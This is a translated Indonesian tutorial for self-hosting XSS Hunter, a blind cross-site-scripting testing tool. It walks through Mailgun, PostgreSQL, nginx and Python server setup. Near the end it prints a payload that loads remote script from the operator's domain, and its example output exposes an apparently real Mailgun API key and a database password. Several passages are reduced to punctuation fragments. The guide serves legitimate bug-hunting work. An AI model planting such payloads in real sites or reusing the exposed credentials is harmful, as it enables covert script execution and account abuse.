Menginstal XSS Hunter

Kami menerbitkan terjemahan artikel Menginstal XSS Hunter dan memeriksa instruksi dengan contoh kami sendiri.



Spoiler: Semuanya bekerja!






Mengapa XSS Hunter?



Banyak pembaca yang mungkin sudah mengetahui bahwa Anda dapat mendaftar di https://xsshunter.com/ dan menggunakan xsshunter secara gratis. Singkatnya, ini adalah alat yang digunakan terutama untuk pencarian XSS buta . Lalu mengapa menerapkan layanan Anda sendiri untuk tugas ini, Anda bertanya.



  1. Semuanya terkendali. Jika ada yang tidak beres, Anda dapat memeriksa dan menyelidiki masalahnya.
  2. Stabilitas. Anda tahu pasti apakah layanan tersebut berfungsi atau tidak. Anda dapat memutuskan sendiri kapan harus menghentikannya. Bayangkan Anda memiliki ratusan kumpulan data yang siap untuk dieksekusi, dan pemilik layanan tiba-tiba mematikannya. Ini akan menyedihkan!
  3. Anda mengontrol data. Perusahaan biasanya tidak suka pemburu bug yang menggunakan solusi pihak ketiga, karena dalam hal ini mereka tidak dapat memverifikasi apakah datanya telah dihapus atau belum.


Bonus: Berkat artikelnya, Anda akan mengetahui bagaimana semuanya bekerja.

Jika artikel ini tidak cukup untuk Anda, kami sarankan untuk membaca karya rekan kami dari Jet Infosystems.






Cara Penggunaan?



Panduan untuk menggunakan XSS Hunter dapat ditemukan di situs XSS Hunter GitHub .



Ini adalah awal yang bagus, tetapi panduan ini agak ketinggalan zaman. Situasinya sama dengan basis kode, jadi saya harus mengubah beberapa hal agar berfungsi di Ubuntu 18.04. Pada artikel ini saya akan memberi tahu Anda cara bekerja dengan XSS Hunter.



Langkah pertama



Saat ini, saya menggunakan panduan resmi sebagai dasar.



Kami juga berasumsi bahwa Anda memiliki server yang berfungsi dan pengalaman manajemen server dasar. Meskipun demikian, saya masih akan mencoba untuk masuk lebih dalam. Jangan ragu untuk mengajukan pertanyaan!



Kita akan butuh:



  • VPS atau tempat lain untuk menyelenggarakan layanan


Kami mengulangi instruksi penulis menggunakan contoh VDS Timeweb: timeweb.com/ru/services/vds . Lebih lanjut di artikel ini, kami membagikan apa yang kami dapatkan di setiap tahap, di spoiler tersembunyi.


  • Nama domain (Anda dapat dengan mudah menemukan dan membeli. Misalnya, 1 , 2 , 3 )


Kami memiliki: timeweb.com/ru/services/domains .


  • Wildcard-. , , . .


:





XSS Hunter



mailgun



1. Daftarkan akun mailgun di sini . Jangan lupa untuk menghapus centang pada kotak, yang disebutkan di bawah ini di tangkapan layar.







2. Ikuti petunjuk untuk memverifikasi alamat email dan nomor telepon Anda.



3. Buka tab kirim dan pilih domain email Anda.







4. Di kanan atas layar, tambahkan alamat email yang Anda inginkan untuk menerima peringatan. Ini harus menjadi alamat Anda yang sebenarnya dan saat ini. Misalnya john.doe@gmail.com.



5. Setelah menyelesaikan hal di atas, klik tombol "Pilih" di blok yang disorot oleh label API.



6. Catat kunci API dan domain email. Anda akan membutuhkannya segera!



Domain email adalah bagian terakhir dari URL API dasar: sandboxe678 .



Menggunakan VDS Timeweb sebagai contoh
: sandbox82f7e729ed934d1189bcc6bd32aaa977.







7. Buka surat dan temukan surat dari mailgun.



8. Konfirmasikan alamat email Anda dengan mengklik link di email.



(Surat tersebut akan dikirim ke alamat yang Anda tentukan di langkah 4, yaitu, dalam kasus kami, ke john.doe@gmail.com).



Pastikan semuanya berfungsi



Gunakan perintah berikut untuk mengirim email dari server Anda untuk memastikan layanan berjalan.



Ganti:



[API_KEY] : kunci API Anda

[API_BASE_URL] : API URL dasar Anda

[YOUR_EMAIL] : email asli Anda



Misalnya: john.doe@gmail.com .



curl -s --user 'api:[API_KEY]' \
	https://api.mailgun.net/v3/[API_BASE_URL]/messages \
	-F from='Excited User <mailgun@[API_BASE_URL]>' \
	-F to=[YOUR_EMAIL] \
	-F subject='Hello' \
	-F text='Testing some Mailgun awesomeness!'


Catatan : Versi UE layanan memiliki URL yang berbeda. Pencarian Google cepat atau memeriksa akun mailgun Anda akan memberi tahu Anda apa yang harus diubah.



Catatan dari ahli Timeweb
curl:



curl -s --user 'api:67ee2b8a922268ac335eb00262b33711-9b1bf5d3-919027d8' \https://api.mailgun.net/v3/sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org/messages \
	-F from='Excited User <mailgun@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org>' \
	-F to=r.tkach@timeweb.ru \
	-F subject='' \
	-F text='   MailGun'


:



{
  "id": "<20201029124602.1.C81E1E4029FB7DC4@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org>",
  "message": "Queued. Thank you."
}




Periksa akun Anda untuk memastikan Anda menerima email seperti contoh di bawah ini. Jika tidak ada email, Anda perlu memecahkan masalah sebelum melanjutkan ke langkah berikutnya.



Menyiapkan dependensi



Instal paket yang diperlukan terlebih dahulu:



# install dependencies
sudo apt-get install nginx && sudo apt-get install postgresql postgresql-contrib


Menggunakan VDS Timeweb sebagai contoh
root@372526-twosa:~#  apt-get install nginx && apt-get install postgresql postgresql-contrib




Selanjutnya, atur pengguna postgres dan database untuk XSS Hunter. Ubah EXAMPLE_PASSWORD menjadi sandi yang lebih aman. Saya sangat merekomendasikan menggunakan pengelola kata sandi!



sudo -i -u postgres
psql template1
CREATE USER xsshunter WITH PASSWORD 'EXAMPLE_PASSWORD';
CREATE DATABASE xsshunter;
\q
exit


Menggunakan VDS Timeweb sebagai contoh
root@372526-twosa:~# sudo -i -u postgres
postgres@372526-twosa:~$ psql template1
psql (10.14 (Ubuntu 10.14-0ubuntu0.18.04.1))
Type "help" for help.

template1=# create user xsshunter with password '6fhQg18YFrna2LbX2EDWHfLoewy32i';
CREATE ROLE
template1=# create database xsshunter;
CREATE DATABASE
template1=# \q




Instalasi layanan



Pertama, kami mengkloning repositori:



git clone https://github.com/mandatoryprogrammer/xsshunter
cd xsshunter


Menggunakan VDS Timeweb sebagai contoh
root@372526-twosa:~# git clone https://github.com/mandatoryprogrammer/xsshunter
root@372526-twosa:~# cd xsshunter




Harap diperhatikan : Diperlukan Python2! Repositori tidak mendukung Python3.



Untuk menjalankan skrip konfigurasi, kita perlu menambahkan dependensi tambahan:



# install yaml support for python
sudo apt-get install pyyaml


Menggunakan VDS Timeweb sebagai contoh
root@372526-twosa:~/xsshunter# apt install python-pip
root@372526-twosa:~/xsshunter# pip install pyyaml




Terima kasih kepada pengguna xYantix karena memberikan solusi yang berfungsi dalam permintaan tarik ini .



Penyiapan layanan



Oke, ayo kita mulai! Kami siap menjalankan skrip konfigurasi.



# generate yaml config file
./generate_config.py


Menggunakan VDS Timeweb sebagai contoh
root@372526-twosa:~/xsshunter# ./generate_config.py




Saya akan menunjukkan prosesnya selangkah demi selangkah. Untuk melihat contoh keluarannya, lihat contoh di bawah ini. Saya telah menambahkan nomor untuk navigasi yang mudah. Jika tidak, semuanya akan terlihat sama.



1. Masukkan nama domain Anda. Saya menggunakan mydomain.com sebagai contoh.



Menggunakan VDS Timeweb sebagai contoh
372526-twosa.tmweb.ru.



2. Masukkan Kunci API Mailgun yang Anda temukan dan simpan sebelumnya.



3. Masukkan nama domain Mailgun Anda, yang juga telah Anda tulis sebelumnya. (Apa yang dimulai dengan kotak pasir).



4. Saya pikir bisa apa saja @ [nama domain Mailgun] , tetapi saya tetap menggunakan penamaan standar dari mailgun karena nama tidak terlalu penting di sini. Saya sarankan menggunakan: mailgun @ [nama domain Mailgun]. Ingatlah untuk mengganti [nama domain Mailgun] dengan milik Anda.



5. Ini untuk membuat orang melaporkan dugaan penyalahgunaan alat. Email Anda yang sebenarnya dan saat ini harus ditunjukkan di sini. Misalnya: john.doe@gmail.com .



6. Jika Anda telah mengikuti semua langkah dalam artikel ini, cukup masuk ke xsshunter.



7. Masukkan kata sandi yang Anda pilih saat membuat database. Di atas tercantum sebagai EXAMPLE_PASSWORD . Gantikan teks [YOUR_REALLY_SECURE_PASSWORD] dengan sandi Anda EXAMPLE_PASSWORD .



8. Seperti pada langkah # 6, jika Anda mengikuti tutorial ini, cukup masuk ke xsshunter.



Ups! Penyiapan selesai!



Jika Anda perlu mengubah nilai ini, Anda dapat mengeditnya langsung di file config.yaml.



__   __ _____ _____   _    _             _
\ \ / // ____/ ____| | |  | |           | |
 \ V /| (___| (___   | |__| |_   _ _ __ | |_ ___ _ __
  > <  \___ \\\\___ \  |  __  | | | | '_ \| __/ _ \ '__|
 / . \ ____) |___) | | |  | | |_| | | | | ||  __/ |
/_/ \_\_____/_____/  |_|  |_|\__,_|_| |_|\__\___|_|


	                                           Setup Utility

	(1)
   What is the base domain name you will be using?
	(ex. localhost, www.example.com)
	Domain? mydomain.com

	Great! Now let's setup your Mailgun account to send XSS alerts to.

	(2)
	Enter your API key:
	(ex. key-8da843ff65205a61374b09b81ed0fa35)
	Mailgun API key: 92740xxxxxxxxxxxxxxxxxxxxxxxxxxx-65bxxx58-8ffxxxxx

	(3)
	What is your Mailgun domain?
	(ex. example.com)
	Mailgun domain: sandboxe6784d1f69d9486484bb8db10ab02380.mailgun.org

	(4)
   What email address is sending the payload fire emails?:
	(ex. no-reply@example.com)
	Sending email address: 
mailgun@sandboxe6784d1f69d9486484bb8db10ab02380.mailgun.org

	(5)
   Where should abuse/contact emails go?:
	(ex. yourpersonal@gmail.com)
	Abuse/Contact email: xsshunter@mydomain.com

        (6)
	What postgres user is this service using?
	(ex. xsshunter)
	Postgres username: xsshunter

	(7)
	What is the postgres user's password?
	(ex. @!$%@^%UOFGJOEJG$)
	Postgres password: [YOUR_REALLY_SECURE_PASSWORD]

	(8)
	What is the postgres user's DB?
	(ex. xsshunter)
	Postgres DB: xsshunter

	Generating cookie secret...
	Minting new nginx configuration file...

	Setup complete! Please now copy the 'default' file to 
/etc/nginx/sites-enabled/default
	This can be done by running the following:
	sudo cp default /etc/nginx/sites-enabled/default

	Also, please ensure your wildcard SSL certificate and key are available at 
the following locations:
	/etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
	/etc/nginx/ssl/mydomain.com.key; # Wildcard SSL key

	Good luck hunting for XSS!


Menggunakan VDS Timeweb sebagai contoh
  	Setup Utility

What is the base domain name you will be using?
(ex. localhost, www.example.com)
Domain? 372526-twosa.tmweb.ru
Great! Now let's setup your Mailgun account to send XSS alerts to.

Enter your API key:
(ex. key-8da843ff65205a61374b09b81ed0fa35)
Mailgun API key: 67ee**************************-9b*******-919*****

What is your Mailgun domain?
(ex. example.com)
Mailgun domain: sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org

What email address is sending the payload fire emails?:
(ex. no-reply@example.com)
Sending email address: mailgun@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org

Where should abuse/contact emails go?:
(ex. yourpersonal@gmail.com)
Abuse/Contact email: r.tkach@timeweb.ru


What postgres user is this service using?
(ex. xsshunter)
Postgres username: xsshunter

What is the postgres user's password?
(ex. @!$%@^%UOFGJOEJG$)
Postgres password: [EXAMPLE_PASSWORD]

What is the postgres user's DB?
(ex. xsshunter)
Postgres DB: xsshunter

Generating cookie secret...
Minting new nginx configuration file...

Setup complete! Please now copy the 'default' file to /etc/nginx/sites-enabled/default
This can be done by running the following:
sudo cp default /etc/nginx/sites-enabled/default

Also, please ensure your wildcard SSL certificate and key are available at the following locations:
/etc/nginx/ssl/xsshunter.timeweb.ru.crt; # Wildcard SSL certificate
/etc/nginx/ssl/xsshunter.timeweb.ru.key; # Wildcard SSL key

Good luck hunting for XSS!
                                                    	-mandatory




Anda sekarang harus memiliki 2 file baru di folder xsshunter Anda:



  • config.yaml (berisi kunci dan kredensial API)
  • default (berisi konfigurasi nginx)


Konfigurasi NGINX



Ubah lokasi sertifikat SSL



Jika Anda menggunakan Let's Encrypt seperti saya, Anda perlu mengubah defaultnya .



Agar konfigurasi bekerja dengan pengaturan default Let's Encrypt, kita harus memberi komentar pada semua entri:



/etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
/etc/nginx/ssl/mydomain.com.key; # Wildcard SSL key


dan ganti dengan



ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem ; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # managed by Certbot


Catatan:



1. Ganti mydomain.com dengan nama domain Anda!



2. Segala sesuatu setelah simbol # adalah komentar. Anda dapat menghapusnya jika mau.



File default Anda sekarang akan terlihat seperti ini:



server {
    # Redirect HTTP to www
    listen 80;
    server_name mydomain.com;
    location / {
        rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
    }
}

server {
    # Redirect payloads to HTTPS
    listen 80;
    server_name *.mydomain.com;
    proxy_set_header X-Forwarded-For $remote_addr;

    return 307 https://$host$request_uri;
    client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
    # Redirect HTTPS to www
    listen 443;
    ssl on;

    # New conf
    ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # 
managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # 
managed by Certbot

    # Original conf
    #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
    #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL 
certificate key

    server_name mydomain.com;
    location / {
        rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
    }
}

server {
    # API proxy
    listen 443;
    ssl on;

    # New conf
    ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # 
managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # 
managed by Certbot

    # Original conf
    #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
    #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL 
certificate key

    server_name *.mydomain.com;
    access_log /var/log/nginx/mydomain.com.vhost.access.log;
    error_log /var/log/nginx/mydomain.com.vhost.error.log;

    client_max_body_size 500M;

    location / {
        proxy_pass  http://localhost:8888;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }
}

server {
    # Redirect api to HTTPS
    listen 80;
    server_name api.mydomain.com; # Subdomain for API server
    proxy_set_header X-Forwarded-For $remote_addr;

    return 307 https://api.mydomain.com$request_uri;
    client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
   # Redirect www to HTTPS
   listen 80;
   server_name www.mydomain.com;
   location / {
       rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
   }
}

server {
   # GUI proxy
   listen 443;
   server_name www.mydomain.com;
   client_max_body_size 500M;
   ssl on;

   # New conf
   ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # 
managed by Certbot
   ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # 
managed by Certbot

   # Original conf
   #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
   #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL 
certificate key


   location / {
       proxy_pass  http://localhost:1234;
       proxy_set_header Host $host;
   }
}


Menggunakan VDS Timeweb sebagai contoh
server {
	# Redirect HTTP to www
	listen 80;
	server_name 372526-twosa.tmweb.ru;
	location / {
    	rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
	}
}

server {
	# Redirect payloads to HTTPS
	listen 80;
	server_name *.372526-twosa.tmweb.ru;
	proxy_set_header X-Forwarded-For $remote_addr;

	return 307 https://$host$request_uri;
	client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
	# Redirect HTTPS to www
	listen 443;
	ssl on;
    
	ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
	ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key
    
	server_name 372526-twosa.tmweb.ru;
	location / {
    	rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
	}
}

server {
	# API proxy
	listen 443;
	ssl on;
    
	ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
	ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key

	server_name *.372526-twosa.tmweb.ru;
	access_log /var/log/nginx/372526-twosa.tmweb.ru.vhost.access.log;
	error_log /var/log/nginx/372526-twosa.tmweb.ru.vhost.error.log;

	client_max_body_size 500M;

	location / {#
    	proxy_pass  http://localhost:8888;
    	proxy_set_header Host $host;
    	proxy_set_header X-Forwarded-For $remote_addr;
	}
}

server {
	# Redirect api to HTTPS
	listen 80;
	server_name api.372526-twosa.tmweb.ru; # Subdomain for API server
	proxy_set_header X-Forwarded-For $remote_addr;

	return 307 https://api.372526-twosa.tmweb.ru$request_uri;
	client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
   # Redirect www to HTTPS
   listen 80;
   server_name www.372526-twosa.tmweb.ru;
   location / {
   	rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
   }
}

server {
   # GUI proxy
   listen 443;
   server_name www.372526-twosa.tmweb.ru;
   client_max_body_size 500M;
   ssl on;
   
	ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
	ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key

   location / {
   	proxy_pass  http://localhost:1234;
   	proxy_set_header Host $host;
   }
}




Mari terapkan konfigurasi NGINX



Langkah selanjutnya adalah memindahkan file tersebut ke folder nginx. Ini dianggap sebagai praktik yang baik untuk memiliki file konfigurasi di folder ... / sites-available dan kemudian membuat tautan simbolik ke konfigurasi yang Anda gunakan untuk ... / sites-enabled . Kami akan melakukan itu.



Saya memberi nama file konfigurasinya sehingga jelas dari nama layanannya.



Begini cara melakukannya!



# move file and give proper name
cp xsshunter/default /etc/nginx/sites-available/xsshunter-mydomain.com

# symlink the file to sites-enabled to make it active
ln -s /etc/nginx/sites-available/xsshunter-mydomain.com 
/etc/nginx/sites-enabled/xsshunter-mydomain.com

# test for errors in the configuration
sudo nginx -t

# if no errors, restart nginx for changes to take effect
sudo systemctl restart nginx


Menggunakan VDS Timeweb sebagai contoh
root@372526-twosa:~/xsshunter# cp default /etc/nginx/sites-available/372526-twosa.tmweb.ru
root@372526-twosa:~/xsshunter# ln /etc/nginx/sites-available/372526-twosa.tmweb.ru /etc/nginx/sites-enabled/372526-twosa.tmweb.ru
root@372526-twosa:~/xsshunter# nginx -t
root@372526-twosa:~/xsshunter# systemctl restart nginx




Jika Anda belum pernah memulai nginx sebelumnya, perintah terakhir adalah:



sudo systemctl start nginx


Menginstal Server API



Pertama, server API juga membutuhkan dependensi tertentu.



Manual mengatakan untuk menjalankan perintah berikut:



sudo apt-get install python-virtualenv python-dev libpq-dev libffi-dev


Menggunakan VDS Timeweb sebagai contoh
root@372526-twosa:~/xsshunter# apt-get install python-virtualenv python-dev libpq-dev libffi-dev


, python-virtualenv pip.




Coba lagi!



Sayangnya saya tidak dapat menjalankan perintah virtualenv , jadi saya menginstal server API dengan



pip install virtualenv


Masalah terpecahkan, saya bisa melanjutkan!

Mari pergi ke direktori yang diinginkan.

Setelah berada di direktori yang benar, Anda perlu membuat lingkungan virtual.

Begini caranya:



# change folder - you know that already!
cd xsshunter/api

# find your Python2 executable path
which python2

# create a python2 virtual environment in the env folder
virtualenv -p MY/EXECUTABLE/PATH env


Menggunakan VDS Timeweb sebagai contoh
root@372526-twosa:~/xsshunter# cd xsshunter/api
root@372526-twosa:~/xsshunter/api# which python2
/usr/bin/python2
root@372526-twosa:~/xsshunter/api# virtualenv -p /usr/bin/python2 env
Running virtualenv with interpreter /usr/bin/python2
New python executable in /root/xsshunter/api/env/bin/python2
Also creating executable in /root/xsshunter/api/env/bin/python
Installing setuptools, pkg_resources, pip, wheel...done.




Pastikan Anda mengubah MY / EXECUTABLE / PATH di perintah terakhir ke output perintah python2 apa . Bagi saya ini adalah: / usr / bin / python2 .



Setelah kita membuat virtual environment, aktifkan dengan perintah berikut. Anda akan melihat perubahan pada baris perintah Anda.



# activate environment
. env/bin/activate


Menggunakan VDS Timeweb sebagai contoh
root@372526-twosa:~/xsshunter/api# . env/bin/activate
(env) root@372526-twosa:~/xsshunter/api# ls
apiserver.py  env  logs  models  probe.js  requirements.txt  templates








Ada juga masalah ketergantungan karena repositori tidak dipelihara secara aktif.



Jadi, kita harus melakukan perubahan berikut pada file requirement.txt :



1. psycopg2 2.6.1 == => psycopg2 == 2.7.3.1

2. bcrypt 2.0.0 == => bcrypt == 3.1.7



Gunakan editor teks favorit Anda untuk ini. Saya menggunakan VIM.



Setelah selesai, saatnya menginstal semua dependensi dan memulai server API untuk memastikan semuanya berfungsi seperti yang diharapkan. Mari mencoba!



# install requirements
pip install -r requirements.txt

# run the API server
./apiserver.py


Menggunakan VDS Timeweb sebagai contoh
(env) root@372526-twosa:~/xsshunter/api# pip install -r requirements.txt
(env) root@372526-twosa:~/xsshunter/api# ./apiserver.py




Perintah install harus mengeluarkan data. Server api seharusnya tidak mengeluarkan apa pun. Tidak ada penarikan adalah kabar baik!



Kami ingin membuat satu perubahan lagi sebelum kami selesai mengkonfigurasi server api. Awalnya ia mendengarkan di antarmuka 0.0.0.0 , tetapi kami memproksikannya melalui NGINX. Artinya ini tidak masuk akal. Kami akan mengkonfigurasi server untuk mendengarkan di localhost . Ini akan menghindari kebingungan dan masalah.



Menggunakan editor teks, ubah baris 684 di apiserver.py dari

app.listen (8888) menjadi app.listen (8888, "localhost") .



Terima kasih kepada swarley7 untuk berbagi solusi dalam permintaan tarik ini .



Terakhir: Bug di mana unggahan tidak berfungsi seperti yang diharapkan jika folder / unggahan tidak ada. Ini dibagikan oleh sampsonc dalam permintaan penarikan ini .



Mari buat folder dan lanjutkan!



# create uploads folder
mkdir xsshunter/api/uploads


Menginstal Server GUI



Proses ini sangat mirip dengan proses di server api, hanya saja lebih sederhana.



Buka folder gui, buat lingkungan virtual, aktifkan dan instal dependensi.



# change folder - you know that already!
cd xsshunter/gui

# find your Python2 executable path
which python2

# create a python2 virtual environment in the env folder
virtualenv -p MY/EXECUTABLE/PATH env

# activate environment
. env/bin/activate

# install requirements
pip install -r requirements.txt

# run the GUI server
./guiserver.py


Menggunakan VDS Timeweb sebagai contoh
root@372526-twosa:~/xsshunter# cd xsshunter/gui
root@372526-twosa:~/xsshunter/gui# which python2
/usr/bin/python2
(env) root@372526-twosa:~/xsshunter/gui# virtualenv -p /usr/bin/python2 env
(env) root@372526-twosa:~/xsshunter/gui# . env/bin/activate
(env) root@372526-twosa:~/xsshunter/gui# pip install -r requirements.txt
(env) root@372526-twosa:~/xsshunter/gui# ./guiserver.py




Sekali lagi, sama seperti saat menginstal server API:



Pastikan Anda mengubah MY / EXECUTABLE / PATH di perintah terakhir menjadi apa python2. Bagi saya ini adalah: / usr / bin / python2 .



Di sini, juga, kurangnya keluaran saat menjalankan ./guiserver adalah kabar baik.



Juga, seperti halnya dengan server API, kami ingin mem-proxy semua koneksi melalui NGINX, sehingga server tidak perlu mendengarkan pada antarmuka 0.0.0.0 .



Menggunakan editor teks, ubah baris 70 di guiserver.py dari

app.listen (1234) menjadi app.listen (1234, "localhost").



Sentuhan terakhir



Langkah pertama adalah memulai kedua server. Posting blog asli menyarankan penggunaan tmux. Ini tidak sempurna untuk produksi, tetapi kami adalah peretas, jadi mari kita lakukan! Jika Anda menginginkan layanan yang lebih stabil, saya serahkan kepada Anda sebagai latihan.



Berikut cara mengaktifkan dan menjalankannya dengan tmux. Jika Anda butuh bantuan, ada contekan yang bagus di sini !



# start a session
tmux session -new xsshunter

# change to api directory
cd xsshunter/api

#run api server
./apiserver

# open new pane
[ctrl]+[b] -> [c]

# change to gui directory
cd xsshunter/gui

# run gui server
./guiserver

# detach from session
[ctrl]+[b] -> [d]

# extra: if you want to open the session again
tmux attach-session -t xsshunter


Dan yang terakhir!



Buka domain Anda dan lihat apakah halaman xsshunter menyambut Anda!

Ini harus terlihat sama seperti halaman pertama xsshunter.com .



Terjadi? Selamat!

Waktunya menuangkan bir ke gelas!







Periksa kinerjanya
(https://www.372526-twosa.tmweb.ru/signup) .







www.372526-twosa.tmweb.ru/app Payload - . :



"><script src=https://tw.372526-twosa.tmweb.ru></script>


html- .







: js , , js_callback .







XSS Hunter:







:







It works! !



: www.372526-twosa.tmweb.ru.



Jika Anda belum menonton Entourage, Anda bisa mulai sekarang!



Kesimpulan



Saya tidak suka menjalankan sesuatu sebagai root atau sebagai pengguna biasa, jadi untuk menjalankannya sebagai www-data saya membuat skrip berikut untuk membuatnya sedikit lebih mudah.



Gantikan apiserver.py dengan guiserver.py sehingga Anda memiliki satu skrip untuk setiap server. Saya akan senang jika Anda menggunakan teknik ini.



Skrip shell untuk menggunakan lingkungan virtual dan memulai server API:



#!/bin/sh
. env/bin/activate && python apiserver.py


Menjalankan skrip sebagai www-data untuk alasan keamanan:



# execute script above as www-data user
sudo -u www-data ./run.sh


Selesai!



Terima kasih atas perhatiannya. Semoga bermanfaat!



All Articles